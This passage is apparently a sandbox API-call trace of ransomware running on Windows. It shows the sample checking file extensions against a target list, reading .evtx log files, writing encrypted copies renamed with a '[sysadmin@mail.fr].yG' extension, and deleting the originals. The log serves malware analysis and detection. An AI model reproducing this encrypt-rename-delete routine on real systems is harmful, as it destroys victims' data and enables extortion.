	[0050.833] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.833] lstrlenW (lpString=".bz2") returned 4
	[0050.833] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.833] lstrlenW (lpString=".7z") returned 3
	[0050.833] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.833] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0050.833] lstrlenW (lpString=".dbf") returned 4
	[0050.833] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.833] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0050.833] lstrlenW (lpString=".1cd") returned 4
	[0050.833] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.833] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0050.833] lstrlenW (lpString=".jpg") returned 4
	[0050.833] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.833] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0050.833] lstrlenW (lpString="Microsoft-Windows-Ntfs%4WHC.evtx") returned 32
	[0050.834] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0050.853] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0050.853] CloseHandle (hObject=0x348) returned 1
	[0050.854] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 0x20
	[0050.854] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.855] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0050.855] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.855] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.855] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0050.856] GetLastError () returned 0x0
	[0050.856] ReadFile (in: hFile=0x2fc, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0050.900] WriteFile (in: hFile=0x35c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0050.902] ReadFile (in: hFile=0x2fc, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.902] WriteFile (in: hFile=0x35c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x114, lpOverlapped=0x0) returned 1
	[0050.902] SetEndOfFile (hFile=0x35c) returned 1
	[0050.902] CloseHandle (hObject=0x35c) returned 1
	[0050.904] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.904] SetEndOfFile (hFile=0x2fc) returned 1
	[0050.905] CloseHandle (hObject=0x2fc) returned 1
	[0050.905] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0050.905] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 1
	[0050.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0050.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0050.906] lstrlenW (lpString=".doc") returned 4
	[0050.906] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.906] lstrlenW (lpString=".docx") returned 5
	[0050.906] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.906] lstrlenW (lpString=".pdf") returned 4
	[0050.906] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.906] lstrlenW (lpString=".xls") returned 4
	[0050.906] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.906] lstrlenW (lpString=".xlsx") returned 5
	[0050.906] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.906] lstrlenW (lpString=".ppt") returned 4
	[0050.906] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0050.906] lstrlenW (lpString=".zip") returned 4
	[0050.906] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.906] lstrlenW (lpString=".rar") returned 4
	[0050.906] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.906] lstrlenW (lpString=".bz2") returned 4
	[0050.906] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.906] lstrlenW (lpString=".7z") returned 3
	[0050.906] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0050.906] lstrlenW (lpString=".dbf") returned 4
	[0050.906] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0050.906] lstrlenW (lpString=".1cd") returned 4
	[0050.906] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0050.906] lstrlenW (lpString=".jpg") returned 4
	[0050.906] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.907] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0050.907] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0050.907] lstrlenW (lpString=".doc") returned 4
	[0050.907] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.907] lstrlenW (lpString=".docx") returned 5
	[0050.907] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.907] lstrlenW (lpString=".pdf") returned 4
	[0050.907] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.907] lstrlenW (lpString=".xls") returned 4
	[0050.907] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.907] lstrlenW (lpString=".xlsx") returned 5
	[0050.907] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.907] lstrlenW (lpString=".ppt") returned 4
	[0050.907] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.907] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0050.907] lstrlenW (lpString=".zip") returned 4
	[0050.907] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.907] lstrlenW (lpString=".rar") returned 4
	[0050.907] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.907] lstrlenW (lpString=".bz2") returned 4
	[0050.907] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.907] lstrlenW (lpString=".7z") returned 3
	[0050.907] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.907] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0050.907] lstrlenW (lpString=".dbf") returned 4
	[0050.907] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.907] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0050.907] lstrlenW (lpString=".1cd") returned 4
	[0050.907] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.907] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0050.907] lstrlenW (lpString=".jpg") returned 4
	[0050.907] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.908] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0050.908] lstrlenW (lpString="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 74
	[0050.908] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0051.009] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0051.009] CloseHandle (hObject=0x380) returned 1
	[0051.009] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 0x20
	[0051.010] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.010] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0051.010] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.010] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.010] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0051.042] GetLastError () returned 0x0
	[0051.042] ReadFile (in: hFile=0x380, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0051.069] WriteFile (in: hFile=0x38c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0051.070] ReadFile (in: hFile=0x380, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.070] WriteFile (in: hFile=0x38c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x168, lpOverlapped=0x0) returned 1
	[0051.071] SetEndOfFile (hFile=0x38c) returned 1
	[0051.071] CloseHandle (hObject=0x38c) returned 1
	[0051.072] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.072] SetEndOfFile (hFile=0x380) returned 1
	[0051.074] CloseHandle (hObject=0x380) returned 1
	[0051.074] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0051.074] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 1
	[0051.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0051.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0051.075] lstrlenW (lpString=".doc") returned 4
	[0051.075] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0051.075] lstrlenW (lpString=".docx") returned 5
	[0051.075] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0051.075] lstrlenW (lpString=".pdf") returned 4
	[0051.075] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0051.075] lstrlenW (lpString=".xls") returned 4
	[0051.075] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0051.075] lstrlenW (lpString=".xlsx") returned 5
	[0051.075] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0051.075] lstrlenW (lpString=".ppt") returned 4
	[0051.075] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0051.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0051.075] lstrlenW (lpString=".zip") returned 4
	[0051.075] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0051.075] lstrlenW (lpString=".rar") returned 4
	[0051.075] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0051.075] lstrlenW (lpString=".bz2") returned 4
	[0051.075] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0051.075] lstrlenW (lpString=".7z") returned 3
	[0051.075] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0051.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0051.075] lstrlenW (lpString=".dbf") returned 4
	[0051.075] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0051.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0051.075] lstrlenW (lpString=".1cd") returned 4
	[0051.075] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0051.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0051.075] lstrlenW (lpString=".jpg") returned 4
	[0051.075] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0051.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0051.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0051.076] lstrlenW (lpString=".doc") returned 4
	[0051.076] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0051.076] lstrlenW (lpString=".docx") returned 5
	[0051.076] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0051.076] lstrlenW (lpString=".pdf") returned 4
	[0051.076] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0051.076] lstrlenW (lpString=".xls") returned 4
	[0051.076] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0051.076] lstrlenW (lpString=".xlsx") returned 5
	[0051.076] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0051.076] lstrlenW (lpString=".ppt") returned 4
	[0051.076] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0051.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0051.076] lstrlenW (lpString=".zip") returned 4
	[0051.076] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0051.076] lstrlenW (lpString=".rar") returned 4
	[0051.076] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0051.076] lstrlenW (lpString=".bz2") returned 4
	[0051.076] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0051.076] lstrlenW (lpString=".7z") returned 3
	[0051.076] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0051.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0051.076] lstrlenW (lpString=".dbf") returned 4
	[0051.076] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0051.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0051.076] lstrlenW (lpString=".1cd") returned 4
	[0051.076] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0051.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0051.076] lstrlenW (lpString=".jpg") returned 4
	[0051.076] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0051.076] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0051.076] lstrlenW (lpString="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 64
	[0051.077] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0051.077] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0051.077] CloseHandle (hObject=0x380) returned 1
	[0051.077] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20
	[0051.077] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.077] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0051.077] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.077] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.077] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0051.077] GetLastError () returned 0x0
	[0051.077] ReadFile (in: hFile=0x380, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0051.090] WriteFile (in: hFile=0x38c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0051.092] ReadFile (in: hFile=0x380, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.092] WriteFile (in: hFile=0x38c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x154, lpOverlapped=0x0) returned 1
	[0051.092] SetEndOfFile (hFile=0x38c) returned 1
	[0051.092] CloseHandle (hObject=0x38c) returned 1
	[0051.094] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.094] SetEndOfFile (hFile=0x380) returned 1
	[0051.095] CloseHandle (hObject=0x380) returned 1
	[0051.095] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0051.096] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 1
	[0051.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0051.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0051.096] lstrlenW (lpString=".doc") returned 4
	[0051.096] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0051.096] lstrlenW (lpString=".docx") returned 5
	[0051.096] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0051.096] lstrlenW (lpString=".pdf") returned 4
	[0051.096] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0051.096] lstrlenW (lpString=".xls") returned 4
	[0051.096] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0051.096] lstrlenW (lpString=".xlsx") returned 5
	[0051.096] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0051.096] lstrlenW (lpString=".ppt") returned 4
	[0051.096] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0051.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0051.096] lstrlenW (lpString=".zip") returned 4
	[0051.096] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0051.096] lstrlenW (lpString=".rar") returned 4
	[0051.096] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0051.096] lstrlenW (lpString=".bz2") returned 4
	[0051.096] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0051.096] lstrlenW (lpString=".7z") returned 3
	[0051.096] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0051.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0051.096] lstrlenW (lpString=".dbf") returned 4
	[0051.096] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0051.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0051.097] lstrlenW (lpString=".1cd") returned 4
	[0051.097] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0051.097] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0051.097] lstrlenW (lpString=".jpg") returned 4
	[0051.097] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0051.097] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0051.097] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0051.097] lstrlenW (lpString=".doc") returned 4
	[0051.097] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0051.097] lstrlenW (lpString=".docx") returned 5
	[0051.097] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0051.097] lstrlenW (lpString=".pdf") returned 4
	[0051.097] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0051.097] lstrlenW (lpString=".xls") returned 4
	[0051.097] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0051.097] lstrlenW (lpString=".xlsx") returned 5
	[0051.097] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0051.097] lstrlenW (lpString=".ppt") returned 4
	[0051.097] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0051.097] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0051.097] lstrlenW (lpString=".zip") returned 4
	[0051.097] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0051.097] lstrlenW (lpString=".rar") returned 4
	[0051.097] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0051.097] lstrlenW (lpString=".bz2") returned 4
	[0051.097] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0051.097] lstrlenW (lpString=".7z") returned 3
	[0051.097] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0051.097] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0051.097] lstrlenW (lpString=".dbf") returned 4
	[0051.097] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0051.098] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
